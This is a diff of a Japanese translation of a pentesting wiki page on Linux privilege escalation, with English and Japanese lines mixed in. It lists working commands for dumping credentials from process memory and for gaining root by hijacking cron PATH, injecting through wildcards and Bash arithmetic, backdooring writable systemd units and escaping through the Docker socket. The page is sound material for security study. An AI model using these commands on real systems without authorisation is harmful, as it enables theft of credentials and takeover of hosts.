でプロセスを追跡することはできません。一度設定すると、ptrace を再び有効にするには再起動が必要です。 #### GDB -例えばFTPサービスのメモリにアクセスできる場合、Heapを取得してその内部のcredentialsを検索できます。 +If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. ```bash gdb -p (gdb) info proc mappings @@ -215,10 +215,10 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -指定したプロセスIDについて、**maps はそのプロセスの仮想アドレス空間内でメモリがどのようにマッピングされているかを示し**、また各マッピング領域の**権限を表示します**。 -**mem** 疑似ファイルは、**プロセスのメモリそのものを公開します**。 -**maps** ファイルから、どの**メモリ領域が読み取り可能であるか**、およびそれらのオフセットが分かります。 -この情報を用いて、**mem ファイル内をシークして読み取り可能なすべての領域を dump し、ファイルに保存します**。 +特定のプロセスIDに対して、**maps はそのプロセスの仮想アドレス空間内でメモリがどのようにマップされているかを示し**、また各マップ領域の**権限を示します**。 +**mem** 擬似ファイルは**プロセスのメモリ自体を露出させます**。 +**maps** ファイルから、どの**メモリ領域が読み取り可能**であるかとそのオフセットを知ることができます。 +この情報を使って **mem ファイルを seek し、読み取り可能な全ての領域を dump してファイルに保存します**。 ```bash procdump() ( @@ -233,15 +233,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` はシステムの**物理**メモリへのアクセスを提供し、仮想メモリではありません。 -カーネルの仮想アドレス空間には /dev/kmem を使ってアクセスできます.\\ -通常、`/dev/mem` は **root** および **kmem** グループのみが読み取り可能です。 +`/dev/mem` はシステムの **物理** メモリにアクセスを提供し、仮想メモリにはアクセスしません。カーネルの仮想アドレス空間は /dev/kmem を使用してアクセスできます。\ +通常、`/dev/mem` は **root** と **kmem** グループによってのみ読み取り可能です。 ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump for linux -ProcDump は、Windows 向け Sysinternals スイートにある古典的な ProcDump ツールを Linux 向けに再構想したものです。入手先: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump は、Windows 向けの Sysinternals スイートにある古典的な ProcDump ツールを Linux 向けに再構想したものです。入手はこちら: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -268,40 +267,40 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` -### ツール +### Tools -プロセスのメモリをダンプするには、次を使用できます: +プロセスメモリをダンプするには、次を使用できます: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_手動でrootの要件を取り除き、自分が所有するプロセスをダンプできます -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root が必要) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_手動でroot要件を削除して、自分が所有するプロセスをダンプできます +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root が必要です) -### プロセスのメモリからの資格情報 +### Credentials from Process Memory -#### 手動の例 +#### Manual example -authenticatorプロセスが実行されていることを確認した場合: +authenticator プロセスが実行されているのを見つけたら: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -processをdumpして（前のセクションを参照して、processのmemoryをdumpするさまざまな方法を確認してください）memory内からcredentialsを検索できます: +プロセスのメモリをダンプして（前のセクションを参照して、プロセスのメモリをダンプするさまざまな方法を確認してください）メモリ内で資格情報を検索できます: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -このツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) はメモリやいくつかの既知のファイルから平文の資格情報を盗みます。正常に動作させるにはroot権限が必要です。 +このツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は、メモリから**平文の認証情報を盗み**、いくつかの**既知のファイル**からも取得します。正常に動作させるにはroot権限が必要です。 -| 機能 | プロセス名 | -| ------------------------------------------------- | ---------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| 機能 | プロセス名 | +| ------------------------------------------------- | -------------------- | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | #### 検索用正規表現/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -317,36 +316,36 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## スケジュールされた/Cron jobs +## Scheduled/Cron jobs -スケジュールされたジョブが脆弱かどうか確認する。rootで実行されるscriptを利用できるかもしれない（wildcard vuln? rootが使用するファイルを変更できるか? symlinksを使う? rootが使用するディレクトリに特定のファイルを作成する?）。 +スケジュールされたジョブに脆弱性がないか確認してください。root によって実行されるスクリプトを利用できるかもしれません（wildcard vuln? root が使用するファイルを変更できるか? symlinks を使う? root が使用するディレクトリに特定のファイルを作成する?）。 ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### CronのPATH -例えば、_/etc/crontab_ の中で次のような PATH を見つけることができます: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +例えば、_/etc/crontab_ の中には PATH が見つかります: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_ユーザー "user" が /home/user に書き込み権限を持っていることに注意してください_) +(_user が /home/user に書き込み権限を持っている点に注目_) -この crontab の中で root ユーザーが PATH を設定せずにコマンドやスクリプトを実行しようとした場合。例えば: _\* \* \* \* root overwrite.sh_\ -その場合、次のようにして root shell を取得できます: +この crontab の中で root ユーザが PATH を設定せずにコマンドやスクリプトを実行しようとする場合。例えば: _\* \* \* \* root overwrite.sh_\ +すると、次を使って root シェルを取得できます: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron ワイルドカードを含むスクリプトを使用する (Wildcard Injection) +### ワイルドカードを含むスクリプトを Cron が実行する場合 (Wildcard Injection) -もし root によって実行されるスクリプト内のコマンドに “**\***” が含まれている場合、これを悪用して予期しない動作（privesc など）を引き起こすことができます。例: +スクリプトが root によって実行され、コマンド内に “**\***” が含まれている場合、予期しない動作（例：privesc）を引き起こすように悪用できます。例: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**If the wildcard が _**/some/path/\***_ のようなパスの前にある場合、それは脆弱ではありません（_**./\***_ も同様に脆弱ではありません）。** +**ワイルドカードが次のようなパスの前にある場合** _**/some/path/\***_ **、脆弱ではありません（さらに** _**./\***_ **も同様です）。** -より多くの wildcard exploitation tricks については次のページを参照してください： +Read the following page for more wildcard exploitation tricks: {{#ref}} @@ -356,11 +355,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash は ((...)), $((...)) および let 内での arithmetic evaluation の前に parameter expansion と command substitution を実行します。もし root cron/parser が untrusted log fields を読み取り、それらを arithmetic context に渡すと、attacker は cron 実行時に root として実行される command substitution $(...) を注入できます。 +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs. -- 理由: Bash では expansions は次の順序で発生します: parameter/variable expansion, command substitution, arithmetic expansion, その後 word splitting と pathname expansion。したがって `$(/bin/bash -c 'id > /tmp/pwn')0` のような値はまず substitution (コマンド実行) され、残った数値の `0` が arithmetic に使われるためスクリプトはエラーなく続行します。 +- Why it works: Bash では展開は次の順序で行われます：parameter/variable expansion、command substitution、arithmetic expansion、そして word splitting と pathname expansion。したがって `$(/bin/bash -c 'id > /tmp/pwn')0` のような値はまず置換され（コマンドが実行され）、残った数値の `0` が算術演算に使われるためスクリプトはエラーにならずに続行されます。 -- 典型的な脆弱なパターン: +- Typical vulnerable pattern: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -370,7 +369,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- 悪用方法: parsed log に attacker-controlled なテキストを書き込み、数字に見えるフィールドが command substitution を含み末尾が数字になるようにします。コマンドが stdout に出力しない（またはリダイレクトする）ようにして、arithmetic が有効なままであることを確認してください。 +- Exploitation: 攻撃者が制御するテキストを解析対象のログに書き込み、数値っぽく見えるフィールドにコマンド置換を含め末尾を数字にすると悪用できます。算術が有効であり続けるよう、コマンドは stdout に何も出力しない（またはリダイレクトする）ようにしてください。 ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -385,23 +384,23 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -rootによって実行されるスクリプトが**あなたが完全にアクセスできるディレクトリ**を使用している場合、そのフォルダを削除して、**あなたが制御するスクリプトを提供する別の場所へ向けたsymlinkフォルダを作成する**ことが有効かもしれません。 +root によって実行される script が、あなたがフルアクセスできる **directory** を使用している場合、そのフォルダを削除して、あなたが制御するスクリプトを提供する別のフォルダを指す **symlink folder** を作成するのが有効かもしれません。 ```bash ln -d -s ``` -### 頻繁な cron jobs +### 頻繁に実行される cron ジョブ -プロセスを監視して、1分、2分、5分ごとに実行されているプロセスを探すことができます。これを利用して、escalate privileges できるかもしれません。 +プロセスを監視して、1分、2分、または5分ごとに実行されているプロセスを探すことができます。それを利用して権限を昇格できるかもしれません。 -例えば、**1分間、0.1秒ごとに監視する**, **実行回数の少ないコマンドでソートする**、そして最も多く実行されたコマンドを削除するには、次のようにできます: +例えば、**0.1秒間隔で1分間監視する**、**実行回数の少ない順にソートする**、および最も多く実行されたコマンドを削除するには、次のように実行できます: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**また使用できます** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (これは起動するすべてのプロセスを監視して一覧表示します)。 +**次も使えます** [**pspy**](https://github.com/DominicBreuker/pspy/releases)（これは起動するすべての process を監視して一覧表示します）。 ### 見えない cron jobs -コメントの後に**キャリッジリターンを入れる**（改行文字ではなく）ことでcronjobを作成でき、そのcron jobは動作します。例（キャリッジリターンに注意）: +cronjob を作成する際、**コメントの後に carriage return を入れる**（newline character を入れない）ことで、cron job が動作します。例（carriage return char に注意）： ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -409,92 +408,87 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 書き込み可能な _.service_ ファイル -任意の `.service` ファイルに書き込み可能か確認してください。書き込みできる場合、そのファイルを **could modify it** して、サービスが **started**, **restarted** または **stopped** のときにあなたの **backdoor** を **executes** するようにできます（場合によってはマシンの再起動を待つ必要があります）。\ -例えば、.service ファイル内にあなたの **backdoor** を **`ExecStart=/tmp/script.sh`** のように作成します。 +任意の `.service` ファイルに書き込みできるか確認してください。書き込みできる場合、サービスが **開始**、**再起動**、または **停止** されたときにあなたの **backdoor** を **実行する** ように **変更できます**（マシンを再起動するまで待つ必要があるかもしれません）。\ +例えば、.service ファイル内に **`ExecStart=/tmp/script.sh`** を指定してあなたの backdoor を作成します。 -### 書き込み可能な service binaries +### 書き込み可能な service バイナリ -サービスによって実行される **binaries** に対して **write permissions over binaries being executed by services** を持っている場合、それらを書き換えて backdoors を仕込むことができるため、サービスが再実行されたときに backdoors が実行されます。 +サービスによって実行されるバイナリに対する **書き込み権限を持っている場合**、それらを書き換えて backdoor を仕込むことができ、サービスが再実行されたときに backdoor が実行されます。 ### systemd PATH - 相対パス -次のコマンドで **systemd** が使用する PATH を確認できます: +**systemd** が使用する PATH は次で確認できます: ```bash systemctl show-environment ``` -パスのいずれかのフォルダに**write**できることが分かれば、**escalate privileges**できる可能性があります。サービスの設定ファイルで**relative paths being used on service configurations**のような記述がないかを探す必要があります: +パス内のいずれかのフォルダに**write**できると判明した場合、**escalate privileges**できる可能性があります。サービス設定ファイルで**relative paths being used on service configurations**のような記述を検索する必要があります: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -その後、書き込み可能な systemd PATH フォルダ内に、**executable** を **same name as the relative path binary** として作成し、サービスが脆弱なアクション（**Start**, **Stop**, **Reload**）を要求されたときに、あなたの **backdoor will be executed**（unprivileged users は通常サービスを start/stop できませんが、`sudo -l` を使えるか確認してください）。 +次に、書き込み可能な systemd PATH フォルダ内に、相対パスのバイナリと同じ名前の **executable** を作成し、サービスが脆弱なアクション（**Start**, **Stop**, **Reload**）を実行するよう要求されたときに、あなたの **backdoor** が実行されます（特権のないユーザーは通常サービスを start/stop できませんが、`sudo -l` を使えるか確認してください）。 **サービスについては `man systemd.service` を参照してください。** -## **タイマー** +## **Timers** -**タイマー** は名前が `**.timer**` で終わる systemd unit ファイルで、`**.service**` ファイルやイベントを制御します。**タイマー** はカレンダー時間イベントや単調時間イベントの組み込みサポートがあり、非同期に実行できるため、cron の代替として使用できます。 +**Timers** は名前が `**.timer**` で終わる systemd ユニットファイルで、`**.service**` ファイルやイベントを制御します。 **Timers** はカレンダー時間イベントや単調時間イベントをネイティブでサポートし、非同期で実行できるため、cron の代替として利用できます。 すべてのタイマーは次のコマンドで列挙できます: ```bash systemctl list-timers --all ``` -### 書き込み可能な timers +### 書き込み可能なタイマー -もし timer を変更できれば、systemd.unit（`.service` や `.target` のような既存のユニット）を実行させることができます。 +タイマーを変更できる場合、systemd.unit の既存のユニット（例: `.service` や `.target`）を実行させることができます。 ```bash Unit=backdoor.service ``` -> タイマーが満了したときにアクティブにする unit。引数は unit 名で、その接尾辞は ".timer" ではありません。指定がない場合、この値はタイマー unit と同じ名前で、接尾辞だけが異なる .service にデフォルトされます。（上記を参照）起動される unit 名とタイマー unit の unit 名は、接尾辞を除いて同一にすることが推奨されます。 -> -> +In the documentation you can read what the Unit is: -したがって、この権限を悪用するには次のことが必要です: +> このタイマーが満了したときにアクティブ化される unit。引数は接尾辞が ".timer" ではないユニット名です。指定されていない場合、この値はタイマー・ユニットと同じ名前（接尾辞を除く）を持つ service にデフォルトで設定されます（上参照）。アクティブ化されるユニット名とタイマー・ユニットのユニット名は、接尾辞を除いて同一にすることが推奨されます。 -- systemd unit（例: `.service`）のうち、**書き込み可能なバイナリを実行している**ものを見つける -- **相対パスで実行している** systemd unit を見つけ、**systemd PATH** に対して **書き込み権限** を持っている（その実行ファイルを偽装するため） +Therefore, to abuse this permission you would need to: -**Learn more about timers with `man systemd.timer`.** +- Find some systemd unit (like a `.service`) that is **書き込み可能なバイナリを実行している** +- Find some systemd unit that is **相対パスを実行している** and you have **書き込み権限** over the **systemd PATH** (その実行ファイルを偽装するため) + +**タイマーについては `man systemd.timer` を参照してください。** ### **タイマーの有効化** -タイマーを有効化するには root 権限が必要で、以下を実行します: +タイマーを有効にするには root 権限が必要で、次のコマンドを実行します: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` -## Sockets +## ソケット -Unix Domain Sockets (UDS) はクライアント-サーバモデル内で、同一または異なるマシン間の**プロセス間通信**を可能にします。これらは標準の Unix デスクリプタファイルを利用してコンピュータ間通信を行い、`.socket` ファイルを通じて設定されます。 +Unix Domain Sockets (UDS) は、クライアント-サーバモデル内で同一または異なるマシン間の**プロセス間通信**を可能にします。これらは標準の Unix ファイルディスクリプタを利用してコンピュータ間通信を行い、`.socket` ファイルを通じて設定されます。 -Sockets can be configured using `.socket` files. +ソケットは `.socket` ファイルで構成できます。 -**sockets については `man systemd.socket` を参照してください。** このファイル内では、いくつか興味深いパラメータを設定できます： +**Learn more about sockets with `man systemd.socket`.** このファイル内では、いくつか興味深いパラメータを設定できます: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、要約するとソケットがどこでリッスンするか（AF_UNIX ソケットファイルのパス、IPv4/6 や待ち受けるポート番号など）を**示す**ために使われます。 -- `Accept`: ブール値を取ります。`true` の場合、**各着信接続ごとにサービスインスタンスが生成され**、接続ソケットのみが渡されます。`false` の場合、すべてのリッスンソケット自体が**起動された service unit に渡され**、すべての接続に対して単一の service unit だけが生成されます。この値は datagram ソケットや FIFO では無視され、これらでは単一の service unit が無条件にすべての着信トラフィックを処理します。**Defaults to false**。パフォーマンス上の理由から、新しいデーモンは `Accept=no` に適した方式で書くことが推奨されます。 -- `ExecStartPre`, `ExecStartPost`: 1つ以上のコマンドラインを取り、それらはそれぞれリッスンする**ソケット**/FIFO が**作成**されバインドされる**前**または**後**に実行されます。コマンドラインの最初のトークンは絶対ファイル名である必要があり、その後にプロセスの引数が続きます。 -- `ExecStopPre`, `ExecStopPost`: リッスンする**ソケット**/FIFO が閉じられ削除される**前**または**後**に実行される追加の**コマンド**です。 -- `Service`: 着信トラフィックに対して**有効化する**`service` unit の名前を指定します。この設定は `Accept=no` のソケットでのみ許可されます。デフォルトではソケットと同名のサービス（サフィックスを置き換えたもの）になります。ほとんどの場合、このオプションを使用する必要はありません。 +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、要約すると **どこでリッスンするかを示す**（AF_UNIX ソケットファイルのパス、リッスンする IPv4/6 やポート番号など）ためのものです。 +- `Accept`: 真偽値を取ります。`**true**` の場合、**各着信接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそれに渡されます。`**false**` の場合、すべてのリスニングソケット自体が **起動された service unit に渡され**、すべての接続に対して単一の service unit が生成されます。この値は datagram ソケットや FIFO では無視され、単一の service unit が一律にすべての着信トラフィックを処理します。**Defaults to false**。パフォーマンス上の理由から、新しいデーモンは `Accept=no` に適した方法でのみ書くことが推奨されます。 +- `ExecStartPre`, `ExecStartPost`: 1 行以上のコマンドラインを取り、リスニング **ソケット**/FIFO が **作成およびバインドされる前** または **後** に実行されます。コマンドラインの最初のトークンは絶対パスでなければならず、その後にプロセスの引数が続きます。 +- `ExecStopPre`, `ExecStopPost`: リスニング **ソケット**/FIFO が **クローズおよび削除される前** または **後** に実行される追加の **コマンド** です。 +- `Service`: 着信トラフィック時に **アクティブ化する** `service` ユニット名を指定します。この設定は Accept=no のソケットでのみ許可されます。デフォルトはソケットと同名（サフィックスを置換）の service です。ほとんどの場合、このオプションを使う必要はありません。 -### Writable .socket files +### 書き込み可能な .socket ファイル -If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +もし **書き込み可能な** `.socket` ファイルを見つけたら、`[Socket]` セクションの先頭に `ExecStartPre=/home/kali/sys/backdoor` のような行を**追加**でき、バックドアはソケットが作成される前に実行されます。したがって、**おそらくマシンの再起動を待つ必要があります。**\ +_システムがそのソケットファイルの設定を実際に使用していないと、バックドアは実行されない点に注意してください_ -もし書き込み可能な `.socket` ファイルを見つけたら、`[Socket]` セクションの冒頭に `ExecStartPre=/home/kali/sys/backdoor` のような行を**追加**できます。こうするとソケットが作成される前にバックドアが実行されます。したがって、**多くの場合マシンの再起動を待つ必要があるでしょう。**\ -_システムがその socket ファイルの設定を実際に使用している必要があり、使用していない場合はバックドアは実行されません_ +### 書き込み可能なソケット -### Writable sockets +もし **書き込み可能なソケットを特定できれば**（ここで言うのは設定ファイルの `.socket` ではなく Unix ソケット自体です）、そのソケットと**通信する**ことができ、脆弱性を利用できる可能性があります。 -If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. - -もし書き込み可能なソケットを**発見した**場合（_ここで言うソケットは設定ファイルの `.socket` ではなく Unix Sockets のことです_）、そのソケットと**通信する**ことができ、脆弱性を悪用できる可能性があります。 - -### Unix Sockets を列挙する +### Unix ソケットの列挙 ```bash netstat -a -p --unix ``` @@ -507,7 +501,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation の例:** +**Exploitation example:** {{#ref}} @@ -516,48 +510,48 @@ socket-command-injection.md ### HTTP sockets -注意: 一部に **sockets listening for HTTP** リクエストがある場合があります（_ここで言っているのは .socket ファイルではなく、unix sockets として動作するファイルのことです_）。これを確認するには: +一部に**sockets listening for HTTP** requestsがあることに注意してください (_ここで言っているのは .socket ファイルではなく、unix sockets として動作するファイルのことです_)。以下のコマンドで確認できます: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -ソケットが **HTTP リクエストに応答する** 場合、そこに **通信** でき、場合によっては **exploit some vulnerability**。 +もしソケットが **HTTP に応答する** リクエストであれば、**通信** が可能になり、場合によっては **脆弱性を exploit** できるかもしれません。 ### 書き込み可能な Docker Socket -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. +Docker ソケットは通常 `/var/run/docker.sock` にあり、保護すべき重要なファイルです。デフォルトでは `root` ユーザーおよび `docker` グループのメンバーが書き込み可能です。このソケットへの書き込み権限を持つと privilege escalation を引き起こす可能性があります。以下はその実行方法の内訳と、Docker CLI が利用できない場合の代替手段です。 #### **Privilege Escalation with Docker CLI** -If you have write access to the Docker socket, you can escalate privileges using the following commands: +もし Docker socket に書き込みアクセスがある場合、以下のコマンドを使って escalate privileges が可能です： ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -これらのコマンドを使うと、ホストのファイルシステムに対して root権限でアクセスできるコンテナを実行できます。 +これらのコマンドを使うと、ホストのファイルシステムに対して root レベルのアクセスを持つコンテナを実行できます。 -#### **Docker API を直接使用する場合** +#### **Using Docker API Directly** Docker CLI が利用できない場合でも、Docker API と `curl` コマンドを使って Docker ソケットを操作できます。 -1. **Docker イメージの一覧:** 利用可能なイメージのリストを取得します。 +1. **List Docker Images:** 利用可能なイメージの一覧を取得します。 ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **コンテナの作成:** ホストシステムのルートディレクトリをマウントするコンテナを作成するリクエストを送信します。 +2. **Create a Container:** ホストシステムのルートディレクトリをマウントするコンテナを作成するリクエストを送信します。 ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -作成したコンテナを起動します: +新しく作成したコンテナを起動します: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **コンテナにアタッチする:** `socat` を使ってコンテナへの接続を確立し、その中でコマンドを実行できるようにします。 +3. **Attach to the Container:** `socat` を使ってコンテナに接続を確立し、コマンドを実行できるようにします。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -567,31 +561,31 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` 接続を確立すると、コンテナ内でホストのファイルシステムに対して root権限で直接コマンドを実行できます。 +`socat` 接続を設定した後、コンテナ内で直接コマンドを実行し、ホストのファイルシステムに対して root 権限でアクセスできます。 ### その他 -docker ソケットへの書き込み権限を持っている（**group `docker` のメンバーである**）場合は、[**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) が利用可能になることに注意してください。もし [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 +docker グループの中にいる（**inside the group `docker`**）ために docker ソケットへの書き込み権限がある場合、[**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) が利用可能になる点に注意してください。もし [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising) ならば、それを悪用できる可能性もあります。 -Docker からの脱出や悪用による権限昇格の他の方法については、次を参照してください: +docker からの脱出や権限昇格のための悪用方法の詳細は、次を参照してください： {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) の権限昇格 +## Containerd (ctr) privilege escalation -もし **`ctr`** コマンドを実行できることが分かった場合、次のページを参照してください。**権限昇格に悪用できる可能性があります**： +もし **`ctr`** コマンドを使用できることが分かった場合、以下のページを参照してください。**権限昇格に悪用できる可能性があります**： {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** の権限昇格 +## **RunC** privilege escalation -もし **`runc`** コマンドを使用できる場合、次のページを参照してください。**権限昇格に悪用できる可能性があります**： +もし **`runc`** コマンドを使用できることが分かった場合、以下のページを参照してください。**権限昇格に悪用できる可能性があります**： {{#ref}} @@ -600,15 +594,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus は高度な inter-Process Communication (IPC) システムで、アプリケーション間の効率的な相互作用とデータ共有を可能にします。現代の Linux システムを念頭に設計されており、さまざまな形式のアプリケーション間通信に対して堅牢なフレームワークを提供します。 +D-Bus は高度な inter-Process Communication (IPC) system で、アプリケーション間の効率的な相互作用やデータ共有を可能にします。モダンな Linux システムを念頭に設計されており、様々な形のアプリケーション通信に対する堅牢なフレームワークを提供します。 -このシステムは柔軟性があり、プロセス間のデータ交換を強化する基本的な IPC をサポートしており、拡張された UNIX ドメインソケットを連想させます。さらに、イベントやシグナルのブロードキャストを助け、システムコンポーネント間のシームレスな統合を促進します。例えば、Bluetooth デーモンからの着信通知が音楽プレーヤーをミュートさせるといったユーザー体験の向上が可能です。加えて、D-Bus はリモートオブジェクトシステムをサポートしており、アプリケーション間のサービス要求やメソッド呼び出しを簡素化し、従来は複雑だったプロセスを効率化します。 +このシステムは柔軟で、プロセス間のデータ交換を強化する基本的な IPC（いわば **enhanced UNIX domain sockets** に類似）をサポートします。さらに、イベントやシグナルのブロードキャストを助け、システムコンポーネント間のシームレスな統合を促進します。例えば、Bluetooth デーモンからの着信通話に関するシグナルが音楽プレーヤーをミュートさせる、というようなユーザー体験の向上が可能です。加えて、D-Bus はリモートオブジェクトシステムをサポートし、アプリケーション間でのサービス要求やメソッド呼び出しを簡素化し、従来は複雑だったプロセスを効率化します。 -D-Bus は **allow/deny モデル** で動作し、ポリシールールのマッチに基づく累積的な効果によりメッセージ権限（メソッド呼び出し、シグナル送出など）を管理します。これらのポリシーはバスとのやり取りを指定し、その権限の悪用によって権限昇格が可能になる場合があります。 +D-Bus は許可/拒否モデル（allow/deny model）で動作し、ポリシールールの積み重ねに基づいてメッセージの許可（メソッド呼び出し、シグナル送出など）を管理します。これらのポリシーはバスとのやり取りを指定し、許可の誤設定を悪用することで権限昇格につながる可能性があります。 -そのようなポリシーの例が `/etc/dbus-1/system.d/wpa_supplicant.conf` に示されており、root ユーザーが `fi.w1.wpa_supplicant1` を所有し、送信し、受信する権限の詳細が記載されています。 +例として、/etc/dbus-1/system.d/wpa_supplicant.conf にあるポリシーが示されており、root が fi.w1.wpa_supplicant1 を所有し、そのメッセージを送受信できるようにする権限が記載されています。 -ユーザーやグループが明示されていないポリシーは全体に適用され、"default" コンテキストのポリシーは他の特定のポリシーでカバーされていないすべてに適用されます。 +ユーザーやグループが指定されていないポリシーは全員に適用され、一方で "default" コンテキストのポリシーは他の特定のポリシーに含まれない全てのエンティティに適用されます。 ```xml @@ -617,8 +611,7 @@ D-Bus は **allow/deny モデル** で動作し、ポリシールールのマッ ``` -**ここでD-Bus communicationの列挙とエクスプロイト方法を学べます：** - +**ここで D-Bus の通信を enumerate および exploit する方法を学ぶ:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -626,9 